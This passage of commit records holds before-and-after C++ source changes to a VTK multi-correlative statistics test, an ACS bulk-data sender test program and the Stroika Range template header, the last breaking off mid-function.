{"text":"<commit_before>\/*\n * Copyright 2008 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\/\/ .SECTION Thanks\n\/\/ Thanks to Philippe Pebay and David Thompson from Sandia National Laboratories \n\/\/ for implementing this test.\n\n#include \"vtkDoubleArray.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkStringArray.h\"\n#include \"vtkTable.h\"\n#include \"vtkMultiCorrelativeStatistics.h\"\n\n\/\/=============================================================================\nint TestMultiCorrelativeStatistics( int, char *[] )\n{\n  int testStatus = 0;\n\n  \/* *\/\n  double mingledData[] = \n    {\n    46, 45,\n    47, 49,\n    46, 47,\n    46, 46,\n    47, 46,\n    47, 49,\n    49, 49,\n    47, 45,\n    50, 50,\n    46, 46,\n    51, 50,\n    48, 48,\n    52, 54,\n    48, 47,\n    52, 52,\n    49, 49,\n    53, 54,\n    50, 50,\n    53, 54,\n    50, 52,\n    53, 53,\n    50, 51,\n    54, 54,\n    49, 49,\n    52, 52,\n    50, 51,\n    52, 52,\n    49, 47,\n    48, 48,\n    48, 50,\n    46, 48,\n    47, 47\n    };\n  int nVals = 32;\n  \/*\n  double mingledData[] =\n    {\n    1,\n    5,\n    11,\n    10,\n    9,\n    7,\n    11,\n    11\n    };\n  int nVals = 4;\n  *\/\n\n\n  const char m0Name[] = \"M0\";\n  vtkDoubleArray* dataset1Arr = vtkDoubleArray::New();\n  dataset1Arr->SetNumberOfComponents( 1 );\n  dataset1Arr->SetName( m0Name );\n\n  const char m1Name[] = \"M1\";\n  vtkDoubleArray* dataset2Arr = vtkDoubleArray::New();\n  dataset2Arr->SetNumberOfComponents( 1 );\n  dataset2Arr->SetName( m1Name );\n\n  const char m2Name[] = \"M2\";\n  vtkDoubleArray* dataset3Arr = vtkDoubleArray::New();\n  dataset3Arr->SetNumberOfComponents( 1 );\n  dataset3Arr->SetName( m2Name );\n\n  for ( int i = 0; i < nVals; ++ i )\n    {\n    int ti = i << 1;\n    dataset1Arr->InsertNextValue( mingledData[ti] );\n    dataset2Arr->InsertNextValue( mingledData[ti + 1] );\n    dataset3Arr->InsertNextValue( i != 12 ? -1. : -1.001 );\n    }\n\n  vtkTable* datasetTable = vtkTable::New();\n  datasetTable->AddColumn( dataset1Arr );\n  dataset1Arr->Delete();\n  datasetTable->AddColumn( dataset2Arr );\n  dataset2Arr->Delete();\n  datasetTable->AddColumn( dataset3Arr );\n  dataset3Arr->Delete();\n\n  \/*\n  int nMetricPairs = 3;\n  vtkStdString columnPairs[] = { m0Name, m1Name, m1Name, m0Name, m2Name, m1Name };\n  double centers[] = { 49.2188, 49.5 };\n  double covariance[] = { 5.98286, 7.54839, 6.14516 };\n  double threshold = 4.;\n  *\/\n\n  vtkMultiCorrelativeStatistics* haruspex = vtkMultiCorrelativeStatistics::New();\n  haruspex->SetInput( 0, datasetTable );\n\n  datasetTable->Delete();\n\n  \/\/ -- Select Column Pairs of Interest ( Learn Mode ) -- \n  haruspex->SetColumnStatus( m0Name, 1 );\n  haruspex->SetColumnStatus( m1Name, 1 );\n  haruspex->RequestSelectedColumns();\n  haruspex->ResetAllColumnStates();\n  haruspex->SetColumnStatus( m0Name, 1 );\n  haruspex->SetColumnStatus( m1Name, 1 );\n  haruspex->SetColumnStatus( m2Name, 1 );\n  haruspex->SetColumnStatus( m2Name, 0 );\n  haruspex->SetColumnStatus( m2Name, 1 );\n  haruspex->RequestSelectedColumns();\n  haruspex->RequestSelectedColumns(); \/\/ Try a duplicate entry. This should have no effect.\n  haruspex->SetColumnStatus( m0Name, 0 );\n  haruspex->SetColumnStatus( m2Name, 0 );\n  haruspex->SetColumnStatus( \"Metric 3\", 1 ); \/\/ An invalid name. This should result in a request for metric 1's self-correlation.\n  \/\/ haruspex->RequestSelectedColumns(); will get called in RequestData()\n\n  \/\/ -- Test Learn Mode -- \n  haruspex->SetLearn( true );\n  haruspex->SetDerive( true );\n  haruspex->SetAssess( false );\n\n  haruspex->Update();\n  vtkMultiBlockDataSet* outputMetaDS = vtkMultiBlockDataSet::SafeDownCast( haruspex->GetOutputDataObject( 1 ) );\n  for ( unsigned int b = 0; b < outputMetaDS->GetNumberOfBlocks(); ++ b )\n    {\n    vtkTable* outputMeta = vtkTable::SafeDownCast( outputMetaDS->GetBlock( b ) );\n    \/\/vtkIdType n = haruspex->GetSampleSize();\n    if ( b == 0 )\n      {\n      cout << \"Raw sums\\n\";\n      }\n    else\n      {\n      cout << \"Request \" << ( b - 1 ) << \"\\n\";\n      }\n\n  \/*\n  cout << \"## Calculated the following statistics ( \"\n       << n\n       << \" entries per column ):\\n\";\n  for ( vtkIdType r = 0; r < outputMeta->GetNumberOfRows(); ++ r )\n    {\n    cout << \"   (X, Y) = (\"\n         << outputMeta->GetValue( r, 0 ).ToString().c_str()\n         << \", \"\n         << outputMeta->GetValue( r, 1 ).ToString().c_str()\n         << \")\";\n\n    for ( int i = 2; i < 3; ++ i )\n      {\n      cout << \", \"\n           << outputMeta->GetColumnName( i )\n           << \"=\"\n           << outputMeta->GetValue( r, i ).ToDouble();\n      }\n    cout << \"\\n\";\n    \/ * * \/\n    if ( outputMeta->GetValueByName( r,  \"Linear Correlation\" ).ToString() == vtkStdString( \"valid\" ) )\n      {\n      cout << \"\\n   Y = \"\n           << outputMeta->GetValueByName( r, \"Slope Y\/X\" ).ToDouble()\n           << \" * X + \"\n           << outputMeta->GetValueByName( r, \"Intersect Y\/X\" ).ToDouble()\n           << \", X = \"\n           << outputMeta->GetValueByName( r, \"Slope X\/Y\" ).ToDouble()\n           << \" * Y + \"\n           << outputMeta->GetValueByName( r, \"Intersect X\/Y\" ).ToDouble()\n           << \", corr. coeff.: \"\n           << outputMeta->GetValueByName( r, \"Pearson r\" ).ToDouble()\n           << \"\\n\";\n      }\n    else\n      {\n      cout << \"\\n   Degenerate input, linear correlation was not calculated.\\n\";\n      }\n      \/ * * \/\n    }\n*\/\n    outputMeta->Dump();\n    }\n\n#if 0\n  \/\/ -- Select Column Pairs of Interest ( Assess Mode ) -- \n  haruspex->ResetColumnPairs(); \/\/ Clear existing pairs\n  haruspex->AddColumnPair( columnPairs[0], columnPairs[1] ); \/\/ A valid pair\n#endif \/\/ 0\n\n  \/\/ -- Test Assess Mode -- \n  vtkMultiBlockDataSet* paramsTables = vtkMultiBlockDataSet::New();\n  paramsTables->ShallowCopy( outputMetaDS );\n\n  haruspex->SetInput( 1, paramsTables );\n  paramsTables->Delete();\n  haruspex->SetLearn( false );\n  haruspex->SetDerive( false ); \/\/ Do not recalculate nor rederive a model\n  haruspex->SetAssess( true );\n  haruspex->Update();\n\n  vtkTable* outputData = haruspex->GetOutput();\n  outputData->Dump();\n#if 0\n  int nOutliers = 0;\n  int tableIdx[] = { 0, 1, 3 };\n  cout << \"   Found the following outliers:\\n\";\n  for ( int i = 0; i < 3; ++ i )\n    {\n    cout << \"   \"\n         << outputData->GetColumnName( tableIdx[i] );\n    }\n  cout << \"\\n\";\n\n  for ( vtkIdType r = 0; r < outputData->GetNumberOfRows(); ++ r )\n    {\n    if ( outputData->GetValue( r, tableIdx[2] ).ToDouble() > threshold )\n      {\n      ++ nOutliers;\n\n      for ( int i = 0; i < 3; ++ i )\n        {\n        cout << \"     \"\n             << outputData->GetValue( r,  tableIdx[i] ).ToString()\n             << \"    \";\n        }\n      cout << \"\\n\";\n      }\n    }\n\n  if ( nOutliers != 3 )\n    {\n    cout << \"Error: Expected 3 outliers, found \" << nOutliers << \".\\n\";\n    testStatus = 1;\n    }\n\n  paramsTable->Delete();\n#endif \/\/ 0\n\n  haruspex->Delete();\n\n  return testStatus;\n}\n\n<commit_msg>STYLE: use GenericMacros instead of couts in case of errors<commit_after>\/*\n * Copyright 2008 Sandia Corporation.\n * Under the terms of Contract DE-AC04-94AL85000, there is a non-exclusive\n * license for use of this work by or on behalf of the\n * U.S. Government. Redistribution and use in source and binary forms, with\n * or without modification, are permitted provided that this Notice and any\n * statement of authorship are reproduced on all copies.\n *\/\n\/\/ .SECTION Thanks\n\/\/ Thanks to Philippe Pebay and David Thompson from Sandia National Laboratories \n\/\/ for implementing this test.\n\n#include \"vtkDoubleArray.h\"\n#include \"vtkMultiBlockDataSet.h\"\n#include \"vtkStringArray.h\"\n#include \"vtkTable.h\"\n#include \"vtkMultiCorrelativeStatistics.h\"\n\n\/\/=============================================================================\nint TestMultiCorrelativeStatistics( int, char *[] )\n{\n  int testStatus = 0;\n\n  \/* *\/\n  double mingledData[] = \n    {\n    46, 45,\n    47, 49,\n    46, 47,\n    46, 46,\n    47, 46,\n    47, 49,\n    49, 49,\n    47, 45,\n    50, 50,\n    46, 46,\n    51, 50,\n    48, 48,\n    52, 54,\n    48, 47,\n    52, 52,\n    49, 49,\n    53, 54,\n    50, 50,\n    53, 54,\n    50, 52,\n    53, 53,\n    50, 51,\n    54, 54,\n    49, 49,\n    52, 52,\n    50, 51,\n    52, 52,\n    49, 47,\n    48, 48,\n    48, 50,\n    46, 48,\n    47, 47\n    };\n  int nVals = 32;\n  \/*\n  double mingledData[] =\n    {\n    1,\n    5,\n    11,\n    10,\n    9,\n    7,\n    11,\n    11\n    };\n  int nVals = 4;\n  *\/\n\n\n  const char m0Name[] = \"M0\";\n  vtkDoubleArray* dataset1Arr = vtkDoubleArray::New();\n  dataset1Arr->SetNumberOfComponents( 1 );\n  dataset1Arr->SetName( m0Name );\n\n  const char m1Name[] = \"M1\";\n  vtkDoubleArray* dataset2Arr = vtkDoubleArray::New();\n  dataset2Arr->SetNumberOfComponents( 1 );\n  dataset2Arr->SetName( m1Name );\n\n  const char m2Name[] = \"M2\";\n  vtkDoubleArray* dataset3Arr = vtkDoubleArray::New();\n  dataset3Arr->SetNumberOfComponents( 1 );\n  dataset3Arr->SetName( m2Name );\n\n  for ( int i = 0; i < nVals; ++ i )\n    {\n    int ti = i << 1;\n    dataset1Arr->InsertNextValue( mingledData[ti] );\n    dataset2Arr->InsertNextValue( mingledData[ti + 1] );\n    dataset3Arr->InsertNextValue( i != 12 ? -1. : -1.001 );\n    }\n\n  vtkTable* datasetTable = vtkTable::New();\n  datasetTable->AddColumn( dataset1Arr );\n  dataset1Arr->Delete();\n  datasetTable->AddColumn( dataset2Arr );\n  dataset2Arr->Delete();\n  datasetTable->AddColumn( dataset3Arr );\n  dataset3Arr->Delete();\n\n  \/*\n  int nMetricPairs = 3;\n  vtkStdString columnPairs[] = { m0Name, m1Name, m1Name, m0Name, m2Name, m1Name };\n  double centers[] = { 49.2188, 49.5 };\n  double covariance[] = { 5.98286, 7.54839, 6.14516 };\n  double threshold = 4.;\n  *\/\n\n  vtkMultiCorrelativeStatistics* haruspex = vtkMultiCorrelativeStatistics::New();\n  haruspex->SetInput( 0, datasetTable );\n\n  datasetTable->Delete();\n\n  \/\/ -- Select Column Pairs of Interest ( Learn Mode ) -- \n  haruspex->SetColumnStatus( m0Name, 1 );\n  haruspex->SetColumnStatus( m1Name, 1 );\n  haruspex->RequestSelectedColumns();\n  haruspex->ResetAllColumnStates();\n  haruspex->SetColumnStatus( m0Name, 1 );\n  haruspex->SetColumnStatus( m1Name, 1 );\n  haruspex->SetColumnStatus( m2Name, 1 );\n  haruspex->SetColumnStatus( m2Name, 0 );\n  haruspex->SetColumnStatus( m2Name, 1 );\n  haruspex->RequestSelectedColumns();\n  haruspex->RequestSelectedColumns(); \/\/ Try a duplicate entry. This should have no effect.\n  haruspex->SetColumnStatus( m0Name, 0 );\n  haruspex->SetColumnStatus( m2Name, 0 );\n  haruspex->SetColumnStatus( \"Metric 3\", 1 ); \/\/ An invalid name. This should result in a request for metric 1's self-correlation.\n  \/\/ haruspex->RequestSelectedColumns(); will get called in RequestData()\n\n  \/\/ -- Test Learn Mode -- \n  haruspex->SetLearn( true );\n  haruspex->SetDerive( true );\n  haruspex->SetAssess( false );\n\n  haruspex->Update();\n  vtkMultiBlockDataSet* outputMetaDS = vtkMultiBlockDataSet::SafeDownCast( haruspex->GetOutputDataObject( 1 ) );\n  for ( unsigned int b = 0; b < outputMetaDS->GetNumberOfBlocks(); ++ b )\n    {\n    vtkTable* outputMeta = vtkTable::SafeDownCast( outputMetaDS->GetBlock( b ) );\n    \/\/vtkIdType n = haruspex->GetSampleSize();\n    if ( b == 0 )\n      {\n      cout << \"Raw sums\\n\";\n      }\n    else\n      {\n      cout << \"Request \" << ( b - 1 ) << \"\\n\";\n      }\n\n  \/*\n  cout << \"## Calculated the following statistics ( \"\n       << n\n       << \" entries per column ):\\n\";\n  for ( vtkIdType r = 0; r < outputMeta->GetNumberOfRows(); ++ r )\n    {\n    cout << \"   (X, Y) = (\"\n         << outputMeta->GetValue( r, 0 ).ToString().c_str()\n         << \", \"\n         << outputMeta->GetValue( r, 1 ).ToString().c_str()\n         << \")\";\n\n    for ( int i = 2; i < 3; ++ i )\n      {\n      cout << \", \"\n           << outputMeta->GetColumnName( i )\n           << \"=\"\n           << outputMeta->GetValue( r, i ).ToDouble();\n      }\n    cout << \"\\n\";\n    \/ * * \/\n    if ( outputMeta->GetValueByName( r,  \"Linear Correlation\" ).ToString() == vtkStdString( \"valid\" ) )\n      {\n      cout << \"\\n   Y = \"\n           << outputMeta->GetValueByName( r, \"Slope Y\/X\" ).ToDouble()\n           << \" * X + \"\n           << outputMeta->GetValueByName( r, \"Intersect Y\/X\" ).ToDouble()\n           << \", X = \"\n           << outputMeta->GetValueByName( r, \"Slope X\/Y\" ).ToDouble()\n           << \" * Y + \"\n           << outputMeta->GetValueByName( r, \"Intersect X\/Y\" ).ToDouble()\n           << \", corr. coeff.: \"\n           << outputMeta->GetValueByName( r, \"Pearson r\" ).ToDouble()\n           << \"\\n\";\n      }\n    else\n      {\n      cout << \"\\n   Degenerate input, linear correlation was not calculated.\\n\";\n      }\n      \/ * * \/\n    }\n*\/\n    outputMeta->Dump();\n    }\n\n#if 0\n  \/\/ -- Select Column Pairs of Interest ( Assess Mode ) -- \n  haruspex->ResetColumnPairs(); \/\/ Clear existing pairs\n  haruspex->AddColumnPair( columnPairs[0], columnPairs[1] ); \/\/ A valid pair\n#endif \/\/ 0\n\n  \/\/ -- Test Assess Mode -- \n  vtkMultiBlockDataSet* paramsTables = vtkMultiBlockDataSet::New();\n  paramsTables->ShallowCopy( outputMetaDS );\n\n  haruspex->SetInput( 1, paramsTables );\n  paramsTables->Delete();\n  haruspex->SetLearn( false );\n  haruspex->SetDerive( false ); \/\/ Do not recalculate nor rederive a model\n  haruspex->SetAssess( true );\n  haruspex->Update();\n\n  vtkTable* outputData = haruspex->GetOutput();\n  outputData->Dump();\n#if 0\n  int nOutliers = 0;\n  int tableIdx[] = { 0, 1, 3 };\n  cout << \"   Found the following outliers:\\n\";\n  for ( int i = 0; i < 3; ++ i )\n    {\n    cout << \"   \"\n         << outputData->GetColumnName( tableIdx[i] );\n    }\n  cout << \"\\n\";\n\n  for ( vtkIdType r = 0; r < outputData->GetNumberOfRows(); ++ r )\n    {\n    if ( outputData->GetValue( r, tableIdx[2] ).ToDouble() > threshold )\n      {\n      ++ nOutliers;\n\n      for ( int i = 0; i < 3; ++ i )\n        {\n        cout << \"     \"\n             << outputData->GetValue( r,  tableIdx[i] ).ToString()\n             << \"    \";\n        }\n      cout << \"\\n\";\n      }\n    }\n\n  if ( nOutliers != 3 )\n    {\n    vtkGenericWarningMacro(\"Expected 3 outliers, found \" << nOutliers << \".\");\n    testStatus = 1;\n    }\n\n  paramsTable->Delete();\n#endif \/\/ 0\n\n  haruspex->Delete();\n\n  return testStatus;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"bulkDataNTSenderFlow.h\"\n#include <iostream>\n#include <ace\/Get_Opt.h>\n\n\nusing namespace AcsBulkdata;\n\nint main(int argc, char *argv[])\n{\n\tchar c;\n\tdouble send_time;\n\tunsigned int sleepPeriod=0;\n\tunsigned int dataSize=65000;\n\tACE_Time_Value start_time, elapsed_time;\n\n\tLoggingProxy m_logger(0, 0, 31, 0);\n\n\tLoggingProxy::init (&m_logger);\n    ACS_CHECK_LOGGER;\n\n\n\t\/\/ Parse the args\n    ACE_Get_Opt get_opts (argc, argv, \"w:s:\");\n    while(( c = get_opts()) != -1 ) {\n    \tswitch(c) {\n    \tcase 'w':\n    \t\tsleepPeriod = atoi(get_opts.opt_arg());\n    \t\tbreak;\n    \tcase 's':\n    \t\tdataSize = atoi(get_opts.opt_arg());\n    \t\tbreak;\n    \t}\n    }\/\/while\n\n\n\tBulkDataNTSenderStream senderStream1(\"DefaultStream\");\n\n\tBulkDataNTSenderFlow* flow0 = senderStream1.createFlow(\"00\");\n\tBulkDataNTSenderFlow* flow1 = senderStream1.createFlow(\"01\");\n\n\tsleep(1); \/\/here we should wait for at least one receiver\n\t\/\/std::cout << \"press a key to start..\" << std::endl;\n\t\/\/getchar();\n\n\tunsigned char parm[]=\"123\";\n\n\tflow0->startSend(parm, 3);\n\n\t\/\/unsigned char data[]=\"Hello wrold !!!!\";\n\tunsigned char *data= new unsigned char[dataSize];\n\tfor (unsigned int i=0; i<dataSize; i++)\n\t\t\tdata[i]=i;\n\n\tACS_SHORT_LOG((LM_INFO, \"Going to send: %d Bytes\", dataSize));\n\tstart_time = ACE_OS::gettimeofday();\n\tflow0->sendData(data, dataSize);\n\telapsed_time = ACE_OS::gettimeofday() - start_time;\n\tsend_time = (elapsed_time.sec()+( elapsed_time.usec() \/ 1000000. ));\n\tACS_SHORT_LOG((LM_INFO, \"Transfer rate: %f\", (dataSize\/(1024*1024))\/send_time));\n\n\tflow1->sendData(data, dataSize);\n\n\tfor (unsigned int i=0; i<dataSize; i++)\n\t\t\t\tdata[i]=i%10;\n\tflow0->sendData(data, dataSize);\n\tflow1->sendData(data, dataSize);\n\n\tsleep(2);\n\t\/\/std::cout << \"press a key to send stop..\" << std::endl;\n\t\/\/getchar();\n\tflow0->stopSend();\n\tflow1->stopSend();\n\n\tif (sleepPeriod>0)\n\t{\n\t\tsleep(sleepPeriod);\n\t}\n\telse\n\t{\n\t\tstd::cout << \"press a key to exit..\" << std::endl;\n\t\tgetchar();\n\t}\n\n\tdelete flow0;\n\/\/ flow1 will be deleted when senderStream1 is deleted\n\n}\n<commit_msg>added comment that startSend is not called for state machine test purpose<commit_after>#include \"bulkDataNTSenderFlow.h\"\n#include <iostream>\n#include <ace\/Get_Opt.h>\n\n\nusing namespace AcsBulkdata;\n\nint main(int argc, char *argv[])\n{\n\tchar c;\n\tdouble send_time;\n\tunsigned int sleepPeriod=0;\n\tunsigned int dataSize=65000;\n\tACE_Time_Value start_time, elapsed_time;\n\n\tLoggingProxy m_logger(0, 0, 31, 0);\n\n\tLoggingProxy::init (&m_logger);\n    ACS_CHECK_LOGGER;\n\n\n\t\/\/ Parse the args\n    ACE_Get_Opt get_opts (argc, argv, \"w:s:\");\n    while(( c = get_opts()) != -1 ) {\n    \tswitch(c) {\n    \tcase 'w':\n    \t\tsleepPeriod = atoi(get_opts.opt_arg());\n    \t\tbreak;\n    \tcase 's':\n    \t\tdataSize = atoi(get_opts.opt_arg());\n    \t\tbreak;\n    \t}\n    }\/\/while\n\n\n\tBulkDataNTSenderStream senderStream1(\"DefaultStream\");\n\n\tBulkDataNTSenderFlow* flow0 = senderStream1.createFlow(\"00\");\n\tBulkDataNTSenderFlow* flow1 = senderStream1.createFlow(\"01\");\n\n\tsleep(1); \/\/here we should wait for at least one receiver\n\t\/\/std::cout << \"press a key to start..\" << std::endl;\n\t\/\/getchar();\n\n\tunsigned char parm[]=\"123\";\n\n\tflow0->startSend(parm, 3);\n\n\/\/ for test purpose we do not invoke startSend\n\/\/\tstrcpy(parm, \"abc\");\n\/\/\tflow1->startSend(parm, 3);\n\n\t\/\/unsigned char data[]=\"Hello wrold !!!!\";\n\tunsigned char *data= new unsigned char[dataSize];\n\tfor (unsigned int i=0; i<dataSize; i++)\n\t\t\tdata[i]=i;\n\n\tACS_SHORT_LOG((LM_INFO, \"Going to send: %d Bytes\", dataSize));\n\tstart_time = ACE_OS::gettimeofday();\n\tflow0->sendData(data, dataSize);\n\telapsed_time = ACE_OS::gettimeofday() - start_time;\n\tsend_time = (elapsed_time.sec()+( elapsed_time.usec() \/ 1000000. ));\n\tACS_SHORT_LOG((LM_INFO, \"Transfer rate: %f\", (dataSize\/(1024*1024))\/send_time));\n\n\tflow1->sendData(data, dataSize);\n\n\tfor (unsigned int i=0; i<dataSize; i++)\n\t\t\t\tdata[i]=i%10;\n\tflow0->sendData(data, dataSize);\n\tflow1->sendData(data, dataSize);\n\n\tsleep(2);\n\t\/\/std::cout << \"press a key to send stop..\" << std::endl;\n\t\/\/getchar();\n\tflow0->stopSend();\n\tflow1->stopSend();\n\n\tif (sleepPeriod>0)\n\t{\n\t\tsleep(sleepPeriod);\n\t}\n\telse\n\t{\n\t\tstd::cout << \"press a key to exit..\" << std::endl;\n\t\tgetchar();\n\t}\n\n\tdelete flow0;\n\/\/ flow1 will be deleted when senderStream1 is deleted\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2014.  All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_Range_inl_\n#define _Stroika_Foundation_Traversal_Range_inl_\n\n#include    \"..\/Debug\/Assertions.h\"\n#include    \"..\/Math\/Overlap.h\"\n\n\nnamespace   Stroika {\n    namespace   Foundation {\n        namespace   Traversal {\n\n\n            \/*\n             ********************************************************************************\n             RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>\n             ********************************************************************************\n             *\/\n#if     qCompilerAndStdLib_constexpr_StaticDataMember_Buggy\n            template    <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n            const T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kLowerBound   =   MIN;\n            template    <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n            const T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kUpperBound   =   MAX;\n#endif\n\n\n            \/*\n             ********************************************************************************\n             ****************** RangeTraits::DefaultRangeTraits<T> **************************\n             ********************************************************************************\n             *\/\n#if     qCompilerAndStdLib_constexpr_StaticDataMember_Buggy\n            template    <typename T>\n            const T RangeTraits::DefaultRangeTraits<T>::kLowerBound   =   numeric_limits<T>::lowest ();\n            template    <typename T>\n            const T RangeTraits::DefaultRangeTraits<T>::kUpperBound   =   numeric_limits<T>::max ();\n#endif\n\n\n            \/*\n             ********************************************************************************\n             ***************************** Range<T, TRAITS> *********************************\n             ********************************************************************************\n             *\/\n            template    <typename T, typename TRAITS>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range ()\n                : Range (TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Ensure (empty ());\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            template    <typename T2, typename TRAITS2>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range (const Range<T2, TRAITS>& src)\n                : Range (src.GetLowerBound (), src.GetUpperBound (), src.GetLowerBoundOpenness (), src.GetUpperBoundOpenness ())\n            {\n            }\n            template    <typename T, typename TRAITS>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range (const T& begin, const T& end)\n                : Range (begin, end, TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n            {\n            }\n            template    <typename T, typename TRAITS>\n            inline  Range<T, TRAITS>::Range (const Memory::Optional<T>& begin, const Memory::Optional<T>& end)\n                : Range (begin.IsPresent () ? *begin : TRAITS::kLowerBound, end.IsPresent () ? *end : TRAITS::kUpperBound, TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n            {\n            }\n            template    <typename T, typename TRAITS>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range (Openness lhsOpen, Openness rhsOpen)\n                : fBegin_ (TRAITS::kUpperBound)\n                , fEnd_ (TRAITS::kLowerBound)\n                , fBeginOpenness_ (lhsOpen)\n                , fEndOpenness_ (rhsOpen)\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Ensure (empty ());\n#endif\n            }\n            template    <typename T, typename TRAITS>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range (const T& begin, const T& end, Openness lhsOpen, Openness rhsOpen)\n                : fBegin_ (begin)\n                , fEnd_ (end)\n                , fBeginOpenness_ (lhsOpen)\n                , fEndOpenness_ (rhsOpen)\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Require  (TRAITS::kLowerBound <= TRAITS::kUpperBound);    \/\/ always required for class\n                Require (TRAITS::kLowerBound <= begin);\n                Require (begin <= end);\n                Require (end <= TRAITS::kUpperBound);\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            inline  Range<T, TRAITS>::Range (const Memory::Optional<T>& begin, const Memory::Optional<T>& end, Openness lhsOpen, Openness rhsOpen)\n                : Range (begin.IsPresent () ? *begin : TRAITS::kLowerBound, end.IsPresent () ? *end : TRAITS::kUpperBound, lhsOpen, rhsOpen)\n            {\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   Range<T, TRAITS>    Range<T, TRAITS>::FullRange ()\n            {\n                return Range<T, TRAITS> (\n                           TraitsType::kLowerBound, TraitsType::kUpperBound,\n                           TraitsType::kLowerBoundOpenness, TraitsType::kUpperBoundOpenness\n                       );\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   bool    Range<T, TRAITS>::empty () const\n            {\n#if     qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                return\n                    fBegin_ > fEnd_ ?\n                    true :\n                    ((fBegin_ == fEnd_) ?\n                     (fBeginOpenness_ == Openness::eOpen and fEndOpenness_ == Openness::eOpen) :\n                     false\n                    )\n                    ;\n#else\n                if (fBegin_ > fEnd_) {\n                    \/\/ internal hack done in Range<T, TRAITS>::Range() - empty range - otherwise not possible to create this situation\n                    return true;\n                }\n                else if (fBegin_ == fEnd_) {\n                    return fBeginOpenness_ == Openness::eOpen and fEndOpenness_ == Openness::eOpen;\n                }\n                return false;\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   typename Range<T, TRAITS>::UnsignedDifferenceType    Range<T, TRAITS>::GetDistanceSpanned () const\n            {\n#if     qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                return\n                    empty () ?\n                    static_cast<UnsignedDifferenceType> (0) :\n                    (fEnd_ - fBegin_)\n                    ;\n#else\n                if (empty ()) {\n                    return static_cast<UnsignedDifferenceType> (0);\n                }\n                return fEnd_ - fBegin_;\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   T    Range<T, TRAITS>::GetMidpoint () const\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Require (not empty ());\n#endif\n                return GetLowerBound () + GetDistanceSpanned () \/ 2;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   bool    Range<T, TRAITS>::Contains (const T& r) const\n            {\n#if     qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                return\n                    empty () ?\n                    false :\n                    (\n                        (fBegin_ < r and r < fEnd_) or\n                        (fBeginOpenness_ == Openness::eClosed and r == fBegin_) or\n                        (fEndOpenness_ == Openness::eClosed and r == fEnd_)\n                    )\n                    ;\n#else\n                if (empty ()) {\n                    return false;\n                }\n                if (fBegin_ < r and r < fEnd_) {\n                    return true;\n                }\n                if (fBeginOpenness_ == Openness::eClosed and r == fBegin_) {\n                    return true;\n                }\n                if (fEndOpenness_ == Openness::eClosed and r == fEnd_) {\n                    return true;\n                }\n                return false;\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            template    <typename T2, typename TRAITS2>\n            inline  bool    Range<T, TRAITS>::Equals (const Range<T2, TRAITS2>& rhs) const\n            {\n                if (empty ()) {\n                    return rhs.empty ();\n                }\n                return fBegin_ == rhs.fBegin_ and fEnd_ == rhs.fEnd_ and fBeginOpenness_ == rhs.fBeginOpenness_ and fBeginOpenness_ == rhs.fBeginOpenness_;\n            }\n#if 0\n            template    <typename T, typename TRAITS>\n            bool    Range<T, TRAITS>::Overlaps (const Range<T, TRAITS>& rhs) const\n            {\n                \/*\n                 *  @todo   RETHINK - because Range has semantics of exclude end - make sure overlap usuage\n                 *          here is correct??? Unsure -- LGP 2013-07-05\n                 *\/\n                return Math::Overlaps (\n                           pair<T, T> (fBegin_, fEnd_),\n                           pair<T, T> (rhs.fBegin_, rhs.fEnd_)\n                       );\n            }\n#endif\n            template    <typename T, typename TRAITS>\n            template    <typename T2, typename TRAITS2>\n            bool    Range<T, 